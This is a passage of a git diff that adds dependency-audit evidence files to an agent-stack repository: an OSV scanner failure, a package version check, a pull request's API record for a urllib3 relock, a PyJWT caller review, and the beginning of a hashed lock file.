+osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3280496Z +-------------------------------------+------+-----------+---------+---------+---------------+----------------------------------------------------------------------+ +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:54.3288310Z ##[error]Process completed with exit code 1. + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt new file mode 100644 index 000000000..81bdc8312 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt @@ -0,0 +1,14 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-c", "import sys,json,re,importlib.metadata as m\nfrom pathlib import Path\np=Path(sys.argv[1]);versions={}\nfor name,version in re.findall(r'(?m)^([a-zA-Z0-9_.-]+)==([^\\n]+)',(p/'candidate.lock').read_text()):\n versions[re.sub(r'[-_.]+','-',name).lower()]=version.rstrip(' \\\\')\nversions['openhands-sdk']=versions['openhands-tools']='1.50.0'\nmismatches=[]\nfor name,expected in versions.items():\n actual=m.version(name)\n if actual!=expected:mismatches.append({'name':name,'expected':expected,'actual':actual})\nprint(json.dumps({'checked_requirement_versions':len(versions),'installed_distributions':len(list(m.distributions())),'mismatches':mismatches},indent=2))\nassert len(versions)==176 and not mismatches\n", ""] +cwd: +started_utc: 2026-09-30T15:57:53.479490+00:00 +ended_utc: 2026-09-30T15:57:53.616316+00:00 +exit_code: 0 + +stdout: +{ + "checked_requirement_versions": 176, + "installed_distributions": 178, + "mismatches": [] +} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt new file mode 100644 index 000000000..984c128c8 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "gh", "api", "repos/seathatflowsinourveins/native-agent-stack/pulls/546"] +cwd: +started_utc: 2026-09-30T15:44:07.500501+00:00 +ended_utc: 2026-09-30T15:44:08.589441+00:00 +exit_code: 0 + +stdout: +{"url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/pulls/546","id":4692518126,"node_id":"PR_kwDOUg_LrM8AAAABF7Ik7g","html_url":"https://github.com/seathatflowsinourveins/native-agent-stack/pull/546","diff_url":"https://github.com/seathatflowsinourveins/native-agent-stack/pull/546.diff","patch_url":"https://github.com/seathatflowsinourveins/native-agent-stack/pull/546.patch","issue_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/issues/546","number":546,"state":"open","locked":false,"title":"OSV: urllib3 2.8.0 relock for the OpenHands lock and a next ignore for the frozen macOS lock (four advisories of 2026-09-30)","user":{"login":"seathatflowsinourveins","id":234074349,"node_id":"U_kgDODfOw7Q","avatar_url":"https://avatars.githubusercontent.com/u/234074349?v=4","gravatar_id":"","url":"https://api.github.com/users/seathatflowsinourveins","html_url":"https://github.com/seathatflowsinourveins","followers_url":"https://api.github.com/users/seathatflowsinourveins/followers","following_url":"https://api.github.com/users/seathatflowsinourveins/following{/other_user}","gists_url":"https://api.github.com/users/seathatflowsinourveins/gists{/gist_id}","starred_url":"https://api.github.com/users/seathatflowsinourveins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seathatflowsinourveins/subscriptions","organizations_url":"https://api.github.com/users/seathatflowsinourveins/orgs","repos_url":"https://api.github.com/users/seathatflowsinourveins/repos","events_url":"https://api.github.com/users/seathatflowsinourveins/events{/privacy}","received_events_url":"https://api.github.com/users/seathatflowsinourveins/received_events","type":"User","user_view_type":"public","site_admin":false},"body":"### Scope\n\n- What this PR changes, in one or two sentences: fixes the required `osv-scanner` check, which fails on fresh runs since four advisories were published on 2026-09-30 (14:46Z to 15:00Z): the OpenHands recipe lock is relocked onto urllib3 2.8.0 (three advisories, only urllib3's version and hashes change), and the frozen macOS variant lock's `next` 16.3.5 (one advisory) gets a dated ignore under the repository's policy plus a pnpm reader that bounds the repo-wide ignore. One PR carries both because the check scans the whole inventory and either fix alone leaves it red.\n- Base commit: `11227bfdf25b55b0481a9e78985c3fed26052472`\n- Lane: `lane:foundation`\n- Owned paths touched: `.github/osv-scanner.toml`, `tests/test_osv_lockfile_coverage.py`, `blueprints/runtime-workers/openhands/` (`requirements.lock`, `pins.json`, `evidence/`), `docs/decisions/2026-09-22-github-automation-closure.md`, `evidence/receipts/osv-urllib3-next-20260930.json`, `manifests/evidence.json` (registration only)\n\n## SOTA sources\n\n- Advisories (GitHub Advisory Database / OSV, read 2026-09-30): GHSA-8988-9cw3-xx77, GHSA-vxq7-64xx-v4gw and GHSA-gh4c-6fx4-qh6g (urllib3, all fixed in 2.8.0), GHSA-vcvr-r3jv-pc5j (next 16.2.0 through 16.3.5, fixed in 16.3.6); `https://api.osv.dev/v1/vulns/`, and the OSV query for `urllib3==2.8.0` and `next==16.3.6` returns no advisories.\n- urllib3 2.8.0 on PyPI (uploaded 2026-09-15, not yanked; outside every cooldown): https://pypi.org/project/urllib3/2.8.0/.\n- Relock method: the recipe's own (`blueprints/runtime-workers/openhands/research.md`, `pins.json` `uv_lock` and `source_archive`): `uv lock --upgrade-package ...` with uv 0.12.17 from the pinned OpenHands software-agent-sdk archive (sha256 `2d3006de...`), plus `--upgrade-package urllib3==2.8.0`. The control (five upgrades of the earlier relock) reproduces the committed lock byte for byte.\n- OSV-Scanner v2.6.0 (the CI pin, sha256 `ca69b3d3...`): https://github.com/google/osv-scanner/releases/tag/v2.6.0, configuration `[[IgnoredVulns]]` with `ignoreUntil` (https://google.github.io/osv-scanner/configuration/).\n- pnpm lockfile v9 format for the `next` reader: https://github.com/pnpm/spec/blob/834f2815cc61917fa133e10869a2d4e9391c36bf/lockfile/9.0.md (pnpm/spec at that commit); the test's fixture mirrors the keys of the two locks in the inventory.\n\n### Evidence-class table\n\n| Claim | Evidence class | Command / receipt |\n| --- | --- | --- |\n| The workflow's command over the 49 inventory lockfiles fails on `origin/main` at `11227bfd` with exactly urllib3==2.7.0 (3 ids) and next==16.3.5 (1 id), and passes on this change with no findings | `local_integration` (pinned OSV-Scanner 2.6.0, the workflow's command line) | `blueprints/runtime-workers/openhands/evidence/relock-2026-09-30-urllib3.txt` section E |\n| The relock changes only urllib3 (2.7.0 to 2.8.0, two hashes); the control reproduces the committed lock byte for byte | `local_integration` (uv 0.12.17 from the pinned upstream archive) | same file, sections B and D |\n| The recipe's hashed install, `uv pip check` (178 packages) and the SDK import check pass on the new lock | `local_integration` (scratch venv) | same file, section C |\n| The carried-forward oauthlib reachability review still holds (the closure differs only in urllib3; the installed urllib3 2.8.0 has no oauthlib reference) | `source_review` | same file, sections B and D; `receipt` `carried_forward_review` |\n| The `next` ignore is bounded to the frozen macOS lock: the pnpm reader and two new tests catch seven in-memory mutants | `local_integration` (unit tests and mutants) | same file, section H |\n| The frozen macOS lock is installed, built or served by nothing in the repository | `source_review` (`git grep` over `origin/main`) | same file, section F |\n\nNot covered (in the receipt's `limitations`): the agent-server image's PyInstaller server binary and the grader venv still carry their own urllib3; the CI run is the authority for the required check on this head; independent review of this change is requested below.\n\n### Local commands run\n\n```\n$ python3 -B -m unittest tests.test_osv_lockfile_coverage tests.test_runtime_worker_openhands\nRan 153 tests ... OK\n$ python3 scripts/validate.py\n{\"components\": 69, \"hashed_files\": 8521, \"profiles\": 4, \"receipts\": 176, \"status\": \"passed\"}\n$ python3 scripts/evidence_manifest.py --check\n{\"files\": 8521, \"status\": \"passed\"}\n$ osv-scanner scan source --config .github/osv-scanner.toml --no-resolve <49 --lockfile args> # CI form, on this change\nscan exit: 0 (no findings; 8 vulnerabilities filtered by the ignores)\n```\n\n### Decision record\n\n`docs/decisions/2026-09-22-github-automation-closure.md`, paragraph \"urllib3 relock and a frozen macOS lock (2026-09-30)\": alternatives considered (exclude the lock from the inventory: rejected, `excluded` is for test fixtures only; edit the frozen lock: its bytes are hash-bound; wait for an owner: none) and the overturn condition (the frozen lock stops being kept, or an application built from it is run).\n\n### Follow-ups\n\n- Codex's draft #535 carries a Linux-only lock with urllib3 2.7.0 too: it needs the same bump and a new digest in its exact-lock entry.\n- The joint oauthlib 4.0.0 and PyJWT 2.15.1 relock (issue #518, no earlier than 2026-10-05T18:40:43Z) builds on this lock; the macOS `next` ignore runs to 2026-12-24.\n- Independent review requested from any peer session with the OSV lane in view (c5 has the blocked PR #540 waiting on this change).\n\n### Checklist\n\n- [x] No new or changed GitHub Actions or workflows.\n- [x] No secrets are printed, logged or committed; no new required secret.\n- [x] No new paid hosting, subscription or billing surface.\n- [x] Peer-owned untracked files and worktrees were preserved (this branch was built in its own worktree at the base commit).\n\n🤖 Generated with [Claude Code](https://claude.com/claude-code)\n","created_at":"2026-09-30T15:24:41Z","updated_at":"2026-09-30T15:24:42Z","closed_at":null,"merged_at":null,"merge_commit_sha":"a20cf1edfff73171d8ba422c9d685bfa7310398d","assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":12348472348,"node_id":"LA_kwDOUg_LrM8AAAAC4Aa8HA","url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/labels/lane:foundation","name":"lane:foundation","color":"0E8A16","default":false,"description":"Foundation lane: Claude/Codex setup, hosts, memory, RAG, research, workers","archived_at":null,"archived_by":null}],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/pulls/546/commits","review_comments_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/pulls/546/comments","review_comment_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/pulls/comments{/number}","comments_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/issues/546/comments","statuses_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/statuses/09d5371d71d3127db3144a0ce3c444a1af696b7f","head":{"label":"seathatflowsinourveins:res-osv-urllib3-next-20260930","ref":"res-osv-urllib3-next-20260930","sha":"09d5371d71d3127db3144a0ce3c444a1af696b7f","user":{"login":"seathatflowsinourveins","id":234074349,"node_id":"U_kgDODfOw7Q","avatar_url":"https://avatars.githubusercontent.com/u/234074349?v=4","gravatar_id":"","url":"https://api.github.com/users/seathatflowsinourveins","html_url":"https://github.com/seathatflowsinourveins","followers_url":"https://api.github.com/users/seathatflowsinourveins/followers","following_url":"https://api.github.com/users/seathatflowsinourveins/following{/other_user}","gists_url":"https://api.github.com/users/seathatflowsinourveins/gists{/gist_id}","starred_url":"https://api.github.com/users/seathatflowsinourveins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seathatflowsinourveins/subscriptions","organizations_url":"https://api.github.com/users/seathatflowsinourveins/orgs","repos_url":"https://api.github.com/users/seathatflowsinourveins/repos","events_url":"https://api.github.com/users/seathatflowsinourveins/events{/privacy}","received_events_url":"https://api.github.com/users/seathatflowsinourveins/received_events","type":"User","user_view_type":"public","site_admin":false},"repo":{"id":1376766892,"node_id":"R_kgDOUg_LrA","name":"native-agent-stack","full_name":"seathatflowsinourveins/native-agent-stack","private":false,"owner":{"login":"seathatflowsinourveins","id":234074349,"node_id":"U_kgDODfOw7Q","avatar_url":"https://avatars.githubusercontent.com/u/234074349?v=4","gravatar_id":"","url":"https://api.github.com/users/seathatflowsinourveins","html_url":"https://github.com/seathatflowsinourveins","followers_url":"https://api.github.com/users/seathatflowsinourveins/followers","following_url":"https://api.github.com/users/seathatflowsinourveins/following{/other_user}","gists_url":"https://api.github.com/users/seathatflowsinourveins/gists{/gist_id}","starred_url":"https://api.github.com/users/seathatflowsinourveins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seathatflowsinourveins/subscriptions","organizations_url":"https://api.github.com/users/seathatflowsinourveins/orgs","repos_url":"https://api.github.com/users/seathatflowsinourveins/repos","events_url":"https://api.github.com/users/seathatflowsinourveins/events{/privacy}","received_events_url":"https://api.github.com/users/seathatflowsinourveins/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/seathatflowsinourveins/native-agent-stack","description":"Evidence-led convergence for native Codex and Claude: scoped context, isolated workers, pinned upstream decisions, reproducible qualification and recovery.","fork":false,"url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack","forks_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/forks","keys_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/keys{/key_id}","collaborators_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/teams","hooks_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/hooks","issue_events_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/issues/events{/number}","events_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/events","assignees_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/assignees{/user}","branches_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/branches{/branch}","tags_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/tags","blobs_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/git/refs{/sha}","trees_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/git/trees{/sha}","statuses_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/statuses/{sha}","languages_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/languages","stargazers_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/stargazers","contributors_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/contributors","subscribers_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/subscribers","subscription_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/subscription","commits_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/commits{/sha}","git_commits_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/git/commits{/sha}","comments_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/comments{/number}","issue_comment_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/issues/comments{/number}","contents_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/contents/{+path}","compare_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/compare/{base}...{head}","merges_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/merges","archive_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/downloads","issues_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/issues{/number}","pulls_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/pulls{/number}","milestones_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/milestones{/number}","notifications_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/labels{/name}","releases_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/releases{/id}","deployments_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/deployments","created_at":"2026-09-19T05:26:55Z","updated_at":"2026-09-30T10:04:55Z","pushed_at":"2026-09-30T15:40:52Z","git_url":"git://github.com/seathatflowsinourveins/native-agent-stack.git","ssh_url":"git@github.com:seathatflowsinourveins/native-agent-stack.git","clone_url":"https://github.com/seathatflowsinourveins/native-agent-stack.git","svn_url":"https://github.com/seathatflowsinourveins/native-agent-stack","homepage":null,"size":60619,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":false,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":60,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"has_pull_requests":true,"pull_request_creation_policy":"all","topics":[],"visibility":"public","forks":0,"open_issues":60,"watchers":0,"default_branch":"main"}},"base":{"label":"seathatflowsinourveins:main","ref":"main","sha":"11227bfdf25b55b0481a9e78985c3fed26052472","user":{"login":"seathatflowsinourveins","id":234074349,"node_id":"U_kgDODfOw7Q","avatar_url":"https://avatars.githubusercontent.com/u/234074349?v=4","gravatar_id":"","url":"https://api.github.com/users/seathatflowsinourveins","html_url":"https://github.com/seathatflowsinourveins","followers_url":"https://api.github.com/users/seathatflowsinourveins/followers","following_url":"https://api.github.com/users/seathatflowsinourveins/following{/other_user}","gists_url":"https://api.github.com/users/seathatflowsinourveins/gists{/gist_id}","starred_url":"https://api.github.com/users/seathatflowsinourveins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seathatflowsinourveins/subscriptions","organizations_url":"https://api.github.com/users/seathatflowsinourveins/orgs","repos_url":"https://api.github.com/users/seathatflowsinourveins/repos","events_url":"https://api.github.com/users/seathatflowsinourveins/events{/privacy}","received_events_url":"https://api.github.com/users/seathatflowsinourveins/received_events","type":"User","user_view_type":"public","site_admin":false},"repo":{"id":1376766892,"node_id":"R_kgDOUg_LrA","name":"native-agent-stack","full_name":"seathatflowsinourveins/native-agent-stack","private":false,"owner":{"login":"seathatflowsinourveins","id":234074349,"node_id":"U_kgDODfOw7Q","avatar_url":"https://avatars.githubusercontent.com/u/234074349?v=4","gravatar_id":"","url":"https://api.github.com/users/seathatflowsinourveins","html_url":"https://github.com/seathatflowsinourveins","followers_url":"https://api.github.com/users/seathatflowsinourveins/followers","following_url":"https://api.github.com/users/seathatflowsinourveins/following{/other_user}","gists_url":"https://api.github.com/users/seathatflowsinourveins/gists{/gist_id}","starred_url":"https://api.github.com/users/seathatflowsinourveins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seathatflowsinourveins/subscriptions","organizations_url":"https://api.github.com/users/seathatflowsinourveins/orgs","repos_url":"https://api.github.com/users/seathatflowsinourveins/repos","events_url":"https://api.github.com/users/seathatflowsinourveins/events{/privacy}","received_events_url":"https://api.github.com/users/seathatflowsinourveins/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/seathatflowsinourveins/native-agent-stack","description":"Evidence-led convergence for native Codex and Claude: scoped context, isolated workers, pinned upstream decisions, reproducible qualification and recovery.","fork":false,"url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack","forks_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/forks","keys_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/keys{/key_id}","collaborators_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/teams","hooks_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/hooks","issue_events_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/issues/events{/number}","events_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/events","assignees_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/assignees{/user}","branches_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/branches{/branch}","tags_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/tags","blobs_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/git/refs{/sha}","trees_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/git/trees{/sha}","statuses_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/statuses/{sha}","languages_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/languages","stargazers_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/stargazers","contributors_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/contributors","subscribers_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/subscribers","subscription_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/subscription","commits_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/commits{/sha}","git_commits_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/git/commits{/sha}","comments_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/comments{/number}","issue_comment_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/issues/comments{/number}","contents_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/contents/{+path}","compare_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/compare/{base}...{head}","merges_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/merges","archive_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/downloads","issues_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/issues{/number}","pulls_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/pulls{/number}","milestones_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/milestones{/number}","notifications_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/labels{/name}","releases_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/releases{/id}","deployments_url":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/deployments","created_at":"2026-09-19T05:26:55Z","updated_at":"2026-09-30T10:04:55Z","pushed_at":"2026-09-30T15:40:52Z","git_url":"git://github.com/seathatflowsinourveins/native-agent-stack.git","ssh_url":"git@github.com:seathatflowsinourveins/native-agent-stack.git","clone_url":"https://github.com/seathatflowsinourveins/native-agent-stack.git","svn_url":"https://github.com/seathatflowsinourveins/native-agent-stack","homepage":null,"size":60619,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":false,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":60,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"has_pull_requests":true,"pull_request_creation_policy":"all","topics":[],"visibility":"public","forks":0,"open_issues":60,"watchers":0,"default_branch":"main"}},"_links":{"self":{"href":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/pulls/546"},"html":{"href":"https://github.com/seathatflowsinourveins/native-agent-stack/pull/546"},"issue":{"href":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/issues/546"},"comments":{"href":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/issues/546/comments"},"review_comments":{"href":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/pulls/546/comments"},"review_comment":{"href":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/pulls/546/commits"},"statuses":{"href":"https://api.github.com/repos/seathatflowsinourveins/native-agent-stack/statuses/09d5371d71d3127db3144a0ce3c444a1af696b7f"}},"author_association":"OWNER","auto_merge":null,"assignee":null,"active_lock_reason":null,"merged":false,"mergeable":true,"rebaseable":false,"mergeable_state":"blocked","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":554,"deletions":16,"changed_files":12} +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt new file mode 100644 index 000000000..23e504ecd --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt @@ -0,0 +1,46 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "/blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt", "/venv/lib/python3.13/site-packages", "/blueprints/runtime-workers/openhands"] +cwd: +started_utc: 2026-09-30T15:50:59.461226+00:00 +ended_utc: 2026-09-30T15:51:08.862469+00:00 +exit_code: 0 + +stdout: +python files searched (all installed packages except PyJWT's own files and installer tooling): 10747 + +# PyJWT importers: the names bound to it, and decode-style calls through those names +google: 1 file(s) import PyJWT + oauth2/id_token.py: jwt bound as ['jwt_lib']: 1 decode-style line(s) ['146: return jwt_lib.decode('] +litellm: 7 file(s) import PyJWT + proxy/proxy_server.py: jwt bound as ['jwt']: 1 decode-style line(s) ['13614: return jwt.decode('] + proxy/auth/handle_jwt.py: jwt bound as ['jwt']; from jwt import ['PyJWK']: 3 decode-style line(s) ['154: claims = jwt.decode(', '942: return jwt.decode(', '957: return jwt.decode('] + proxy/management_endpoints/ui_sso.py: jwt bound as ['jwt']: 3 decode-style line(s) ['755: access_token_payload = jwt.decode(access_token_str, options={"verify_sig', '3701: userinfo = jwt.decode(id_token, options={"verify_signature": False})', '3897: decoded_token = jwt.decode(id_token, options={"verify_signature": False}'] + proxy/management_endpoints/mcp_management_endpoints.py: jwt bound as ['_jwt']: 1 decode-style line(s) ['1516: decoded = _jwt.decode('] + proxy/guardrails/guardrail_hooks/mcp_jwt_signer/mcp_jwt_signer.py: jwt bound as ['jwt']; from jwt import ['PyJWKSet']: 1 decode-style line(s) ['458: payload: Dict[str, Any] = jwt.decode(raw_token, signing_jwk.key, **decod'] + proxy/_experimental/mcp_server/byok_oauth_endpoints.py: jwt bound as ['jwt']: 1 decode-style line(s) ['106: payload = jwt.decode('] + proxy/_experimental/mcp_server/outbound_credentials/envelope.py: jwt bound as ['jwt']: 1 decode-style line(s) ['323: payload = jwt.decode('] +mcp: 1 file(s) import PyJWT + client/auth/extensions/client_credentials.py: jwt bound as ['jwt']: 0 decode-style line(s) [] +oauthlib: 3 file(s) import PyJWT + common.py: jwt bound as ['jwt']: 1 decode-style line(s) ["221: return jwt.decode(token, public_pem, algorithms=['RS256'])"] + oauth1/rfc5849/signature.py: jwt module not bound (from-imports only); submodule aliases ['jwt_algorithms']: 0 decode-style line(s) [] + oauth2/rfc6749/clients/service_application.py: jwt bound as ['jwt']: 0 decode-style line(s) [] +redis: 1 file(s) import PyJWT + auth/token.py: jwt bound as ['jwt']: 1 decode-style line(s) ['89: self._decoded = jwt.decode('] + +# references from outside the importing package to the code that holds a decode +oauthlib (verify_signed_token): no reference outside oauthlib +redis (auth.token, JWToken): no reference outside redis +google-auth (google.oauth2.id_token): no reference outside google/auth and google/oauth2 +litellm (litellm.proxy): no reference outside litellm + +# redis's decode +redis/auth/token.py:83: import jwt +redis/auth/token.py:89: self._decoded = jwt.decode( +redis/auth/token.py:91: options={"verify_signature": False}, + +# the recipe's own code (recursive) +recipe .py files searched: 12 +recipe .py files importing redis: none +recipe .py files importing jwt: none + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt new file mode 100644 index 000000000..dfe5d4b8d --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt @@ -0,0 +1,3064 @@ +argv: ["rtk", "proxy", "uv", "pip", "compile", "/requirements.in", "--constraints", "/constraints.txt", "--generate-hashes", "--no-header", "--no-annotate", "--index-url", "https://pypi.org/simple", "--python-version", "3.13.15", "--python-platform", "x86_64-unknown-linux-gnu", "--exclude-newer", "7 days", "--exclude-newer-package", "litellm=2026-07-20T00:00:00Z", "--exclude-newer-package", "lmnr=2026-08-23T00:00:00Z", "--output-file", "/candidate.lock"] +cwd: /source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5 +started_utc: 2026-09-30T15:47:53.001571+00:00 +ended_utc: 2026-09-30T15:47:53.083310+00:00 +exit_code: 0 + +stdout: +agent-client-protocol==0.12.1 \ + --hash=sha256:9963ccb590ed96d7dc542c9c023e90676fc76b1c6562e21a9ee112f4fbcb0095 \ + --hash=sha256:aaf3cc301ed87d9e2c4ccb91adfe1cd58784355f6ce7e513f50e7ca2391862ef +aiofile==3.9.0 \ + --hash=sha256:ce2f6c1571538cbdfa0143b04e16b208ecb0e9cb4148e528af8a640ed51cc8aa \ + --hash=sha256:e5ad718bb148b265b6df1b3752c4d1d83024b93da9bd599df74b9d9ffcf7919b +aiofiles==25.1.0 \ + --hash=sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2 \ + --hash=sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695 +aiohappyeyeballs==2.6.1 \ + --hash=sha256:c3f9d0113123803ccadfdf3f0faa505bc78e6a72d1cc4806cbd719826e943558 \ + --hash=sha256:f349ba8f4b75cb25c99c5c2d84e997e485204d2902a9597802b0371f09331fb8 +aiohttp==3.14.3 \ + --hash=sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39 \ + --hash=sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043 \ + 